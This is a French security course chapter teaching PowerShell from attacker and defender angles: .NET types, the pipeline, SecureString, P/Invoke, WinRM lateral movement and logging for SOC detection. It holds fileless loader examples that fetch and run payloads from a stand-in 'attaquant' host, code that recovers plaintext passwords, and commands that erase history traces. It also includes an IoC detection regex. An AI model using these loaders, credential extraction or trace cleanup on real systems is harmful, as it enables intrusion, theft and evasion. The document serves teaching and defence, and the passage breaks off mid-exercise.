PowerShell est l'outil d'administration n°1 de Windows ET le vecteur d'attaque le plus utilisé par les red teams modernes. Comprendre ses mécanismes en profondeur - objets .NET, pipeline, WinRM, logging - est indispensable des deux côtés de la barrière.
INTERMÉDIAIREOFFENSIF + DÉFENSIF4 – 5h
2.1
Introduction - Pourquoi PowerShell est au cœur de tout
PowerShell n'est pas un simple shell comme cmd.exe. C'est un environnement de scripting complet basé sur .NET, ce qui lui donne un accès direct à l'ensemble du framework .NET et de la Win32 API depuis la ligne de commande. Cette capacité unique le rend à la fois indispensable pour l'administration et redoutable entre les mains d'un attaquant.
Comparaison des shells
cmd.exe
Texte brut, commandes DOS héritées
Aucun accès natif aux APIs Windows
Pas de types - tout est chaîne
bash
Texte brut, flux de caractères Unix
Puissant pour les fichiers/processus
Limité sur Windows natif
PowerShell
Objets .NET typés dans le pipeline
Accès complet Win32 API + COM + WMI
Insensible à la casse - contourne les règles naïves
Trois caractéristiques fondamentales
Caractéristique 1
Orienté Objet
Chaque commande retourne des objets .NET, pas du texte. Get-Process retourne une collection d'objets System.Diagnostics.Process avec des propriétés accessibles, filtrables, transformables. C'est ce qui rend le pipeline si puissant.
Caractéristique 2
Basé sur .NET
Tout le framework .NET est accessible directement depuis le shell - [System.Net.Dns]::GetHostAddresses(), [System.IO.File]::ReadAllText(), accès à la cryptographie, aux sockets, aux assemblies. Sans compiler une seule ligne de C#.
Caractéristique 3
Insensible à la casse
get-process, GET-PROCESS et Get-Process sont strictement identiques. Les attaquants exploitent cela pour contourner des règles de détection qui recherchent des chaînes exactes - en mélangeant majuscules et minuscules de façon aléatoire (case randomization).
Offensif - Pourquoi les attaquants adorent PowerShell
PowerShell est présent sur tous les Windows modernes, signé Microsoft (donc de confiance pour les AV/EDR basiques), capable de tout faire - réseau, fichiers, registre, mémoire - sans déposer un seul exécutable sur le disque. C'est le paradis du Living off the Land (LotL) : utiliser les outils légitimes du système pour attaquer. Résultat : des attaques qui ressemblent à de l'administration normale.
Défensif - Pourquoi les défenseurs le craignent
Les logs natifs de PowerShell sont insuffisants par défaut. Sans Script Block Logging activé, une commande malveillante encodée en Base64 passe complètement inaperçue dans les Event Logs. Un attaquant peut exfiltrer des données, se déplacer latéralement et dumper des credentials - tout cela via des commandes PowerShell qui n'apparaissent nulle part sans configuration spécifique.
2.2
Variables, Types & Tableaux
PowerShell est un langage à typage dynamique - le type d'une variable est inféré automatiquement, mais peut aussi être déclaré explicitement. Comprendre les types est crucial en sécurité, notamment pour manipuler des buffers binaires, des pointeurs mémoire et des assemblies .NET.
Variables - syntaxe de base
Variables - déclaration et typesPOWERSHELL
# Déclaration - le $ préfixe est OBLIGATOIRE pour toute variable$nom = "Alice"$age = 42
$actif = $true# Typage explicite - force le type à la déclaration[string]$texte = "bonjour"[int]$nombre = 42
[bool]$flag = $false[datetime]$date = Get-Date# Variable nulle$vide = $null# Introspection - connaître le type d'une variable$nom.GetType().FullName # → System.String$age.GetType().FullName # → System.Int32
Types critiques pour la sécurité
Type
Usage en sécurité
[byte[]]
Tableau de bytes - shellcode, payloads binaires, données en mémoire
[char[]]
Tableau de chars - manipulation de strings encodées/décodées
[IntPtr]
Pointeur mémoire - appels Win32 API (VirtualAlloc, OpenProcess…)
[System.Reflection.Assembly]
Chargement de DLLs/EXEs directement en mémoire - technique fileless
[System.Security.SecureString]
Stockage sécurisé de secrets en mémoire chiffrée
Tableaux et collections
Tableaux, Hashtables, ArrayListsPOWERSHELL
# Tableau simple (Array)$fruits = @("pomme", "poire", "cerise")$fruits[0] # → pomme$fruits.Count # → 3$fruits += "mangue"# Ajoute (crée un nouveau tableau en mémoire)# Hashtable (dictionnaire clé/valeur) - très utilisé pour les paramètres$config = @{
Hote = "192.168.56.10"
Port = 445
Protocol = "SMB"}$config["Hote"] # → 192.168.56.10$config.Port # → 445 (accès par propriété)# ArrayList (taille dynamique - plus performant que @() pour les ajouts)$liste = [System.Collections.ArrayList]::new()
$liste.Add("elem1") | Out-Null# Out-Null supprime le retour (index ajouté)$liste.Add("elem2") | Out-Null
Offensif - [byte[]] et shellcode
[byte[]] est le type de base pour charger un shellcode en mémoire. Le flux typique d'un loader PowerShell : déclarer un tableau de bytes contenant le shellcode encodé → appeler VirtualAlloc via P/Invoke pour allouer de la mémoire exécutable → copier les bytes → appeler CreateThread pour exécuter. Tout cela sans toucher au disque. On revient dessus en section 2.8.
2.3
Cmdlets - Structure Verb-Noun
Toutes les commandes PowerShell suivent une convention stricte : Verbe-Nom. Cette cohérence permet de deviner des commandes inconnues et de les découvrir par recherche. C'est une philosophie de conception - tout est prévisible et discoverable.
# Lister tous les verbes approuvésGet-Verb | Sort-Object Verb
# Chercher des cmdlets par verbe et nom - très utile pour la découverteGet-Command-Verb"Get" | Where-Object {$_.Name -like"*Local*"}
Get-Command *credential* # Toutes les cmdlets touchant aux credentialsGet-Command *acl* # Tout ce qui touche aux ACLsGet-Command *event* # Tout ce qui touche aux Event Logs# Système d'aide - toujours utileGet-HelpGet-Process# Aide de baseGet-HelpGet-Process-Full# Aide détailléeGet-HelpGet-Process-Examples# Exemples uniquementGet-HelpGet-Process-Online# Ouvre la doc web MicrosoftUpdate-Help-Force# Met à jour l'aide locale (nécessite internet)
2.4
Méthodes et Propriétés - Get-Member
Get-Member est probablement la cmdlet la plus importante pour explorer PowerShell. Elle révèle tout ce qu'un objet peut faire : ses propriétés (données) et ses méthodes (actions). Maîtriser cette cmdlet permet de comprendre n'importe quel objet PowerShell sans documentation externe.
Analogie : Imaginez que vous recevez un objet inconnu. Get-Member est comme un scanner qui vous dit "cet objet a une propriété couleur, une méthode ouvrir(), et une méthode fermer()". Vous pouvez alors l'utiliser sans lire de manuel.
Get-Member - explorer les objetsPOWERSHELL
# Voir toutes les propriétés et méthodes d'un objetGet-Process | Get-Member# OUTPUT (extrait) :# TypeName: System.Diagnostics.Process## Name MemberType Definition# Kill Method void Kill() ← termine le processus# WaitForExit Method bool WaitForExit(int ms)# CPU Property double CPU {get;} ← temps CPU utilisé# Id Property int Id {get;} ← PID# Name Property string Name {get;} ← nom de l'exe# WorkingSet Property int WorkingSet {get;} ← mémoire en bytes# Filtrer par type de membreGet-Process | Get-Member-MemberType Property # Propriétés uniquementGet-Process | Get-Member-MemberType Method # Méthodes uniquement# Utiliser les propriétés et méthodes découvertes$proc = Get-Process-Name"lsass"$proc.Id # PID de lsass$proc.WorkingSet # Mémoire utilisée en bytes# Méthodes de manipulation de dates$date = Get-Date$date.AddDays(-7) # Il y a 7 jours$date.ToString("yyyy-MM-dd") # Formatage ISO# Méthodes statiques via ::[System.Math]::Sqrt(144) # → 12[System.Math]::PI # → 3.14159...
Offensif - Méthodes cachées via WMI
Get-Member sur un objet WMI ou COM révèle des méthodes exploitables non documentées. Par exemple, Get-WmiObject Win32_Process | Get-Member expose la méthode .Create() qui permet de créer des processus silencieusement - sans appeler directement Start-Process qui est davantage audité. Autre exemple : Get-WmiObject Win32_Service | Get-Member expose .Change() pour modifier la configuration d'un service.
2.5
Pipeline & Select-Object
Le pipe | transmet des objets .NET complets d'une cmdlet à la suivante - pas du texte. C'est fondamentalement différent de bash où chaque programme reçoit des chaînes de caractères. Cette différence explique pourquoi le pipeline PowerShell est beaucoup plus puissant pour filtrer, trier et transformer des données complexes.
Pipeline - filtrage et transformationPOWERSHELL
# Les 5 processus les plus gourmands en RAMGet-Process |
Sort-Object WorkingSet -Descending |
Select-Object-First 5 |
Format-Table Name, Id, @{N="RAM(MB)";E={[math]::Round($_.WorkingSet/1MB,1)}}# Where-Object - filtrer des objets selon une conditionGet-Process | Where-Object {$_.CPU -gt 10} # Processus > 10s CPUGet-LocalUser | Where-Object {$_.Enabled -eq $true} # Comptes actifs# Alias courants à reconnaître dans du code offensif# where = Where-Object ? = Where-Object# select = Select-Object % = ForEach-Object# sort = Sort-Object ft = Format-Table
Select-Object - sculpter et transformer les sorties
Select-Object - propriétés et colonnes calculéesPOWERSHELL
# Sélectionner des propriétés spécifiquesGet-LocalUser | Select-Object Name, SID, Enabled, LastLogon
# Colonnes calculées - renommer et transformer à la volée# Syntaxe : @{Name="NomColonne"; Expression={ calcul avec $_ }}Get-Process | Select-Object Name, Id,
@{Name="RAM_MB"; Expression={[math]::Round($_.WorkingSet/1MB, 2)}},
@{Name="CPU_s"; Expression={[math]::Round($_.CPU, 2)}}# Prendre les N premiers/derniers/au milieuGet-Process | Select-Object-First 5
Get-Process | Select-Object-Last 5
Get-Process | Select-Object-Skip 10 -First 5
# ExpandProperty - extraire un tableau imbriquéGet-LocalGroup | Select-Object-ExpandProperty Name
ForEach-Object - boucle dans le pipeline
ForEach-Object - traitement par objetPOWERSHELL
# Syntax longue - claire et lisibleGet-LocalUser | ForEach-Object {
Write-Host"Utilisateur : $($_.Name) - SID : $($_.SID)"
}
# Syntax courte avec alias % - souvent vu dans les one-liners offensifsGet-LocalUser | % { "$($_.Name) → $($_.SID)" }
# Application sécurité : auditer chaque membre du groupe AdministratorsGet-LocalGroupMember-Group"Administrators" | ForEach-Object {
$member = $_.Name.Split("\")[-1]
$user = Get-LocalUser-Name$member-ErrorAction SilentlyContinue
if ($user-and$user.PasswordNeverExpires) {
Write-Warning"Admin avec MDP non expirant : $member"
}
}
2.6
Fonctions & Blocs de Script
Les fonctions PowerShell permettent de structurer du code réutilisable. Les ScriptBlocks vont plus loin : ce sont des objets de code encapsulé dans {} qui peuvent être stockés dans des variables, passés comme paramètres, et surtout exécutés à distance via Invoke-Command. C'est le mécanisme central de WinRM.
Fonctions avec paramètres typésPOWERSHELL
functionGet-UserInfo {
param(
[string]$Username, # Paramètre obligatoire[switch]$Verbose# Switch : présent ou absent (booléen)
)
$user = Get-LocalUser-Name$Username-ErrorAction SilentlyContinue
if (-not$user) {
Write-Error"Utilisateur '$Username' introuvable."return
}
$groupes = Get-LocalGroup | Where-Object {
(Get-LocalGroupMember-Group$_.Name -EA SilentlyContinue).Name `
-contains"$env:COMPUTERNAME\$Username"
}
# Retourne un objet structuré - pas une chaîne
[PSCustomObject]@{
Nom = $user.Name
SID = $user.SID.Value
Actif = $user.Enabled
DerniereConnexion = $user.LastLogon
Groupes = ($groupes.Name -join", ")
}
}
# Appel de la fonctionGet-UserInfo-Username"restricteduser"
# Définir un ScriptBlock - comme une fonction anonyme$monBloc = {
param($nom)
"Bonjour $nom depuis un ScriptBlock !"
}
# Invoquer un ScriptBlock - deux syntaxes&$monBloc"Alice"# Opérateur &Invoke-Command-ScriptBlock$monBloc-ArgumentList"Bob"# Via Invoke-Command# ─── Invoke-Expression - dangereux, très audité ────────────────────# IEX est l'alias court - souvent utilisé dans les one-liners offensifs$cmd = "Get-LocalUser | Select-Object Name, SID"Invoke-Expression$cmd# ou : iex $cmd# ─── Technique Base64 - ce que font les attaquants ────────────────# Encodage (côté attaquant)$commande = "Get-LocalUser | Select-Object Name"$bytes = [System.Text.Encoding]::Unicode.GetBytes($commande)
$encoded = [Convert]::ToBase64String($bytes)
# Exécution "suspecte" (contourne certains filtres de surface)
powershell.exe -EncodedCommand$encoded# ─── Décodage (côté défenseur / forensics) ────────────────────────$code = [System.Convert]::FromBase64String("R2V0LVByb2Nlc3M=")
$decoded = [System.Text.Encoding]::Unicode.GetString($code)
Write-Host"Décodé : $decoded"
Défensif - IoC : Invoke-Expression & Base64
Invoke-Expression (alias iex) et les chaînes encodées en Base64 sont des marqueurs de détection prioritaires dans le Script Block Logging (Event ID 4104). Leur présence dans un log est quasi-systématiquement le signe d'une tentative de contournement de détection. Un SIEM doit alerter sur tout usage de iex, EncodedCommand, ou FromBase64String en contexte non administratif.
2.7
SecureString & PSCredential
La gestion des secrets en PowerShell repose sur deux mécanismes complémentaires. SecureString chiffre une chaîne en mémoire. PSCredential combine un nom d'utilisateur et un SecureString dans un format standard accepté par toutes les cmdlets d'authentification Windows.
# ✖ MAUVAIS - mot de passe en clair (visible historique, logs, mémoire)$password = "MonMotDePasse123"# ✅ BON - SecureString chiffré via DPAPI$securePass = ConvertTo-SecureString"P@ssw0rd"-AsPlainText-Force# MEILLEUR - saisie interactive (jamais visible, jamais dans l'historique)$securePass = Read-Host"Mot de passe"-AsSecureString# Sauvegarder chiffré sur disque (lié à l'utilisateur ET la machine)$securePass | ConvertFrom-SecureString | Out-File"C:\cred.enc"# Recharger depuis le fichier (uniquement par le même utilisateur sur la même machine)$securePass = Get-Content"C:\cred.enc" | ConvertTo-SecureString# ─── OFFENSIF / FORENSICS - extraire la valeur en clair ──────────# Si un attaquant peut exécuter du code, voici comment lire un SecureString$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securePass)
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
[System.Runtime.InteropServices.Marshal]::ZeroFreeBSTR($BSTR) # Nettoyage mémoireWrite-Host"Mot de passe : $plainText"
Comment fonctionne SecureString
SecureString utilise l'API System.Security.SecureString de .NET. Sur Windows, DPAPI (Data Protection API) assure le chiffrement en mémoire - la donnée est difficile à extraire directement depuis un dump mémoire brut. Cependant, ce n'est pas une protection absolue : un attaquant avec des droits SYSTEM peut utiliser les APIs Marshal pour la lire, exactement comme montré ci-dessus. SecureString protège contre les accidents (logs, historique) mais pas contre un adversaire déterminé avec des droits suffisants.
PSCredential - le conteneur standard d'authentification
PSCredential - création et utilisationPOWERSHELL
# Créer un PSCredential manuellement$username = "DOMAINE\Alice"$password = ConvertTo-SecureString"P@ssw0rd"-AsPlainText-Force$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# Boîte de dialogue interactive (idéal en prod)$cred = Get-Credential# Utiliser le credential dans les cmdlets standardEnter-PSSession-ComputerName CIBLE -Credential$credInvoke-Command-ComputerName CIBLE -Credential$cred-ScriptBlock { whoami }
New-PSSession-ComputerName CIBLE -Credential$cred# Accéder aux composants du credential$cred.UserName # → DOMAINE\Alice$cred.Password # → System.Security.SecureString (opaque)$cred.GetNetworkCredential().Password # → Mot de passe en CLAIR ⚠
Offensif - Extraction depuis la mémoire
$cred.GetNetworkCredential().Password extrait le mot de passe en clair depuis un PSCredential en mémoire. Si un script d'administration stocke ses credentials dans une variable globale (mauvaise pratique courante), une seule ligne dans un Invoke-Command suffit à les récupérer. Chercher les scripts .ps1 dans C:\Scripts\, C:\Program Files\, et dans les tâches planifiées - ils contiennent souvent des credentials codés en dur.
2.8
Namespaces .NET & Win32 API via PowerShell
C'est l'une des capacités les plus puissantes (et redoutées) de PowerShell : appeler directement des fonctions Win32 sans compiler de code C# ou C++. Via le mécanisme P/Invoke et Add-Type, on peut déclarer une signature de fonction Win32 et l'appeler immédiatement depuis PowerShell - ce qui inclut VirtualAlloc, CreateThread, et toutes les fonctions utilisées par les malwares.
P/Invoke via Add-Type - appel de fonctions Win32
Add-Type - signature P/Invoke Win32POWERSHELL
# Déclarer des signatures de fonctions Win32 via C# inline$apiCode = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
// MessageBox - démonstration simple
[DllImport("user32.dll", SetLastError=true)]
public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
// OpenProcess - ouvrir un handle vers un processus
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(uint access, bool inheritHandle, uint processId);
// VirtualAllocEx - allouer de la mémoire dans un processus distant
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
// WriteProcessMemory - écrire dans la mémoire d'un processus
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] buffer, uint size, out int lpNumberOfBytesWritten);
}
"@Add-Type-TypeDefinition$apiCode# Utilisation directe des fonctions Win32 depuis PowerShell
[Win32]::MessageBox([IntPtr]::Zero, "Hello depuis PowerShell!", "Win32 API", 0)
Création/manipulation de processus - injection de commandes
Technique fileless - chargement d'assembly en mémoire
Exemple éducatif - loaders fileless (ce que font les malwares)POWERSHELL
# ─── Technique 1 : WebClient.DownloadString + IEX ─────────────────# La plus classique - détectée par presque tous les EDR modernes$wc = New-Object System.Net.WebClient
$payload = $wc.DownloadString("http://attaquant/payload.ps1")
Invoke-Expression$payload# ← Double IoC : DownloadString + IEX# ─── Technique 2 : DownloadData → Assembly en mémoire ─────────────# Télécharge des bytes bruts et les charge directement en mémoire# Aucun fichier n'est écrit sur le disque - invisble pour les AV basés fichier$bytes = $wc.DownloadData("http://attaquant/tool.exe")
$assembly = [System.Reflection.Assembly]::Load($bytes)
# → L'assembly vit uniquement en mémoire - jamais sur le disque# ─── Technique 3 : Exécuter l'assembly chargée ────────────────────$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @(,[string[]]@()))
# ─── IoCs générés par ces techniques ──────────────────────────────# Event ID 4104 : "DownloadString", "Assembly::Load", "Invoke-Expression"# AMSI (si activé) : intercepte la chaîne avant IEX# Sysmon EID 7 : chargement d'image/DLL depuis un chemin inhabituel
Défensif - Détection des techniques fileless
[System.Reflection.Assembly]::Load() depuis PowerShell est capturé par le Script Block Logging (Event ID 4104) et déclenche des alertes dans pratiquement tous les EDR modernes. Les patterns DownloadString + Invoke-Expression sont des IoC de premier ordre. AMSI (Antimalware Scan Interface) intercepte aussi les contenus PowerShell avant leur exécution - certains malwares tentent de le désactiver en patch mémoire, ce qui génère ses propres IoC.
2.9
WinRM / WSMan - Administration à Distance
WinRM (Windows Remote Management) est le service d'administration à distance de Windows, basé sur le protocole WSMan (Web Services for Management). Il permet d'exécuter des commandes PowerShell sur des machines distantes - ce qui en fait à la fois l'outil d'administration le plus utilisé en entreprise, et un vecteur de mouvement latéral privilégié.
Architecture WinRM
Flux d'une connexion WinRM
Client PowerShell
Machine attaquante
HTTP:5985 (non chiffré) HTTPS:5986 (TLS)
Service WinRM
Machine cible - svchost.exe
Crée un processus isolé par session
wsmprovhost.exe
Host session distante - PPID = svchost
⚠ Un wsmprovhost.exe avec un PPID inhabituel = alerte Sysmon
Runspace PowerShell
Contexte de l'utilisateur authentifié
Configuration de base
WinRM - activation et configuration (machine cible)POWERSHELL
# ── SUR LA MACHINE CIBLE ────────────────────────────────────────────# Activer WinRM (configure le service + le pare-feu)Enable-PSRemoting-Force# Autoriser tous les hôtes clients (lab uniquement - jamais en prod)Set-Item WSMan:\localhost\Client\TrustedHosts -Value"*"-Force# Vérifier la configuration complèteGet-WSManInstance-ResourceURI winrm/config
# Voir les endpoints disponibles (utile pour JEA - Chapitre 3)Get-PSSessionConfiguration | Select-Object Name, Enabled, Permission
WinRM - connexion et exécution distante (machine attaquante)POWERSHELL
# Tester la connectivité WinRM avant d'établir une sessionTest-WSMan-ComputerName192.168.56.10# Session interactive - comme SSH, mais dans PowerShellEnter-PSSession-ComputerName192.168.56.10-Credential (Get-Credential)
# Exécution non interactive - meilleure pour les scripts et l'automatisationInvoke-Command-ComputerName192.168.56.10 `
-Credential$cred `
-ScriptBlock { Get-LocalUser | Select-Object Name, SID, Enabled }
# Exécution sur plusieurs machines EN PARALLÈLE (propagation rapide)Invoke-Command-ComputerName@("HOST1","HOST2","HOST3") `
-Credential$cred `
-ScriptBlock { whoami; hostname }
Sessions persistantes - éviter la ré-authentification
PSSession - sessions réutilisables et transfert de fichiersPOWERSHELL
# Créer une session réutilisable - un seul handshake d'authentification$session = New-PSSession-ComputerName192.168.56.10-Credential$cred# Exécuter plusieurs commandes dans la MÊME sessionInvoke-Command-Session$session-ScriptBlock { $env:COMPUTERNAME }
Invoke-Command-Session$session-ScriptBlock { Get-Process | Select-Object-First 5 }
# Entrer interactivement dans la session existanteEnter-PSSession-Session$session# Transférer des fichiers via la session (côté offensif : uploader des outils)Copy-Item-Path"C:\Tools\script.ps1" `
-Destination"C:\Users\Public\" `
-ToSession$session# Fermer proprement - toujours nettoyer les sessions après usageRemove-PSSession-Session$sessionGet-PSSession | Remove-PSSession# Fermer TOUTES les sessions ouvertes
Double-hop - Le problème d'authentification à distance
Le double-hop est l'une des limitations les plus importantes de WinRM à comprendre. Quand tu te connectes depuis la machine A vers B, tes credentials sont présentés à B. Mais quand B tente de se connecter à C, il n'a plus tes credentials originaux - il ne peut pas les retransmettre. C'est une protection de sécurité : Kerberos empêche la délégation implicite des credentials.
Machine A (toi)
Machine B WinRM OK
Machine C ACCESS DENIED
Les credentials de A ne sont pas transmis à C - Kerberos bloque la délégation implicite.
Double-Hop - solutions CredSSP et KerberosPOWERSHELL
# ─── Solution 1 : CredSSP - délègue les credentials (risqué) ──────# CredSSP envoie les credentials en clair vers B, qui peut ensuite se connecter à C# Risque : si B est compromis, les credentials exposés# Sur B : activer la réception de délégationEnable-WSManCredSSP-Role Server -Force# Sur A : activer la délégation vers BEnable-WSManCredSSP-Role Client -DelegateComputer"B"-Force# Connexion avec délégationEnter-PSSession-ComputerName B -Credential$cred-Authentication CredSSP
# ─── Solution 2 : Kerberos Constrained Delegation (recommandé) ────# Plus sécurisée - ne délègue que vers des services spécifiques# Nécessite un environnement Active Directory - à voir en Chapitre 12
Offensif - Mouvement latéral via WinRM
Une session WinRM avec des credentials valides = mouvement latéral direct. Invoke-Command sur plusieurs machines en parallèle avec -ComputerName @("HOST1","HOST2","HOST3") permet de propager des actions sur tout un réseau en quelques secondes. Avec des credentials admin de domaine, c'est la technique la plus silencieuse pour se déplacer - pas de nouvel exécutable, tout via des connexions WinRM légitimes.
Défensif - Traces WinRM à surveiller
Chaque connexion WinRM génère un 4624 (Logon Type 3 - réseau) sur la machine cible. Coupler avec Sysmon Event ID 1 : la création de wsmprovhost.exe avec PPID svchost.exe est normale - un wsmprovhost.exe avec tout autre PPID est une anomalie à investiguer immédiatement. Les connexions WinRM légitimes depuis des postes non-admin sont rares et constituent un signal fort.
2.10
Logging PowerShell - Détection SOC
C'est le cœur de la détection défensive PowerShell. Trois mécanismes distincts et complémentaires couvrent différentes parties de l'activité. Ils doivent être activés ensemble pour une couverture maximale - chacun capte ce que les autres manquent.
Vue d'ensemble des trois couches
Mécanisme
Event ID
Ce qu'on voit
Limitation
Module Logging
4103
Quelles cmdlets ont été appelées + paramètres + résultats partiels. Utile pour tracer les commandes d'administration.
Résultats partiels - ne montre pas le code source
Script Block Logging
Gold standard
4104
Code source complet exécuté - déobfusqué automatiquement par PowerShell. Même les commandes encodées Base64 apparaissent décodées. C'est la source de détection la plus précieuse.
Volume élevé en production - indexation SIEM nécessaire
Transcription
Fichier .txt
Copie intégrale de la session : input ET output. Sauvegardée dans un dossier configurable. Idéale pour la forensics post-incident.
Pas dans l'Event Log - hors des SIEM centralisés par défaut
Module Logging - Event ID 4103
Activer le Module Logging via RegistrePOWERSHELL
# Chemin de la clé de politique PowerShell$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging"New-Item-Path$path-Force | Out-NullSet-ItemProperty-Path$path-Name"EnableModuleLogging"-Value 1
# Spécifier quels modules logger (* = tous les modules)$pathNames = "$path\ModuleNames"New-Item-Path$pathNames-Force | Out-NullSet-ItemProperty-Path$pathNames-Name"*"-Value"*"# Logger TOUS les modules# Alternative via GPO :# Computer Config → Admin Templates → Windows Components# → Windows PowerShell → "Turn on Module Logging" → Enabled → *
Script Block Logging - Event ID 4104 - Le plus précieux
Le Script Block Logging capture le code source complet de chaque ScriptBlock avant son exécution - y compris les commandes déobfusquées. C'est la propriété la plus importante : même une commande encodée en Base64 apparaît décodée dans l'Event 4104, car PowerShell doit la décoder pour l'exécuter, et c'est ce moment que Windows capture.
Activer le Script Block Logging + interroger les events 4104POWERSHELL
<!-- Event ID 4104 dans Microsoft-Windows-PowerShell/Operational -->
<Event>
<System>
<EventID>4104</EventID>
<Level>Warning</Level> <!-- Warning = Windows a détecté du code suspect -->
</System>
<EventData>
<Data Name="MessageNumber">1</Data> <!-- Numéro du fragment -->
<Data Name="MessageTotal">1</Data> <!-- Total des fragments -->
<Data Name="ScriptBlockText">
<!-- LE CODE SOURCE DÉOBFUSQUÉ EST ICI - même si encodé en Base64 à l'origine -->Invoke-Mimikatz -DumpCreds
</Data>
<Data Name="ScriptBlockId">abc123-def456-...</Data> <!-- ID unique -->
<Data Name="Path">C:\Users\Alice\mal.ps1</Data> <!-- Chemin si fichier -->
</EventData>
</Event>
Fragments - scripts longs
Un script long est automatiquement divisé en plusieurs Event 4104 (chacun limité en taille). Pour reconstruire le script complet, regrouper par ScriptBlockId - tous les fragments du même script partagent le même identifiant. Le champ MessageNumber / MessageTotal indique la position dans la séquence.
Transcription - le journal complet de session
Transcription - activation et usagePOWERSHELL
# Activation via Registre (persistant)$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"New-Item-Path$path-Force | Out-NullSet-ItemProperty-Path$path-Name"EnableTranscripting"-Value 1
Set-ItemProperty-Path$path-Name"EnableInvocationHeader"-Value 1 # HorodatageSet-ItemProperty-Path$path-Name"OutputDirectory"-Value"C:\PSTranscripts"# Activation manuelle pour une session (temporaire)Start-Transcript-Path"C:\Logs\session.txt"-Append# ... toutes les commandes ET leurs outputs sont enregistrés ...Stop-Transcript# Les fichiers de transcription sont nommés :# PowerShell_transcript.HOSTNAME.xxxxxxxx.YYYYMMDDHHMMSS.txt
IoC PowerShell prioritaires à surveiller dans votre SIEM
Ces termes dans un Event 4104 doivent déclencher une alerte immédiate. Leur présence indique quasi-systématiquement une tentative offensive :
Il existe deux sources d'historique distinctes qu'il ne faut pas confondre. L'une est persistante sur disque, l'autre ne dure que le temps de la session. En forensics, la première est une mine d'or ; en offensif, la connaître permet de nettoyer ses traces.
Source 1 - Persistante
PSReadLine
Fichier texte sur disque, toutes sessions confondues. Chemin : %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt Limite par défaut : 4096 commandes. Survit aux redémarrages.
Source 2 - Temporaire
Get-History
Historique de la session en cours uniquement. Disparaît à la fermeture du terminal. Utile pour les scripts longs mais sans valeur forensics post-session.
Historique PSReadLine - lecture et forensicsPOWERSHELL
# Lire l'historique de l'utilisateur courantGet-Content"$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"# Nombre de commandes stockées (par défaut : 4096)
(Get-PSReadLineOption).MaximumHistoryCount
# Augmenter pour la forensicsSet-PSReadLineOption-MaximumHistoryCount 10000
# Historique session en coursGet-HistoryGet-History | Select-Object-Last 20
Script de forensics - chasse dans l'historique de tous les utilisateurs
Analyse forensics - historiques tous utilisateurs + détection IoCPOWERSHELL
# Analyser l'historique de TOUS les utilisateurs du système$historiqueFiles = Get-ChildItem `
"C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" `
-ErrorAction SilentlyContinue
foreach ($filein$historiqueFiles) {
$username = $file.FullName.Split("\")[2] # Extraire le nom d'utilisateur du chemin$contenu = Get-Content$file.FullName -ErrorAction SilentlyContinue
Write-Host"`n=== Historique de $username ==="-ForegroundColor Cyan
# Pattern de détection - IoC offensifs communs$suspects = $contenu | Where-Object {
$_-match"mimikatz|sekurlsa|Invoke-Expression|IEX|DownloadString|FromBase64|VirtualAlloc|bypass|AMSI|credential|dump|net user.*\/add|reg save|shadow|lsass"
}
if ($suspects) {
Write-Host"[!] Commandes suspectes détectées :"-ForegroundColor Red
$suspects | ForEach-Object { Write-Host" >> $_"-ForegroundColor Yellow }
} else {
Write-Host"Aucune commande suspecte."-ForegroundColor Green
}
}
Nettoyage des traces - côté offensif
Rappel - Lab uniquement
Ces techniques de nettoyage sont présentées pour comprendre ce que font les attaquants - et donc savoir ce qu'il faut surveiller. En red team professionnel, le nettoyage des traces est systématique en fin d'opération.
Effacement des traces PowerShellPOWERSHELL
# Effacer le fichier d'historique PSReadLineRemove-Item"$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"-Force# Vider l'historique de la session en coursClear-History# Désactiver la sauvegarde pour CETTE session (ne persiste pas au prochain lancement)Set-PSReadLineOption-HistorySaveStyle SaveNothing
# ⚠ Le Script Block Logging (Event 4104) n'est PAS effacé par ces commandes# Les événements dans Microsoft-Windows-PowerShell/Operational restent intacts# → C'est pourquoi activer le SBL est si important côté défensif
TP 1
Pipeline & Filtrage d'Utilisateurs
TP 02-AConstruire une requête d'analyse utilisateurs multicritèreINTERMÉDIAIRE
Objectifs
Maîtriser le pipeline PowerShell avec filtrage Where-Object
Créer des colonnes calculées avec Select-Object
Construire un rapport utilisateurs enrichi avec les groupes d'appartenance
Pipeline progressif - filtrage et enrichissementPOWERSHELL
# Étape 1 : Récupérer tous les utilisateurs locauxGet-LocalUser# Étape 2 : Filtrer les actifs seulementGet-LocalUser | Where-Object {$_.Enabled -eq $true}
# Étape 3 : Sélectionner les propriétés utiles + colonnes calculées# Extraire le RID (dernier segment du SID) et détecter les comptes built-in (RID < 1000)Get-LocalUser | Where-Object {$_.Enabled -eq $true} |
Select-Object Name, SID,
@{N="RID"; E={$_.SID.Value.Split("-")[-1]}},
@{N="IsBuiltin"; E={[int]$_.SID.Value.Split("-")[-1] -lt 1000}},
LastLogon, PasswordNeverExpires
Rapport utilisateurs enrichi - groupes + analysePOWERSHELL
# Construire le PSCredential$secPwd = ConvertTo-SecureString"Restricted@2024!"-AsPlainText-Force$cred = New-Object System.Management.Automation.PSCredential("restricteduser", $secPwd)
# Test de connectivité avant d'ouvrir une sessionTest-WSMan-ComputerName localhost -Credential$cred# Ouvrir une session persistante$session = New-PSSession-ComputerName localhost -Credential$cred# Explorer le contexte de la session distanteInvoke-Command-Session$session-ScriptBlock {
Write-Host"=== Contexte de la session ==="-ForegroundColor Cyan
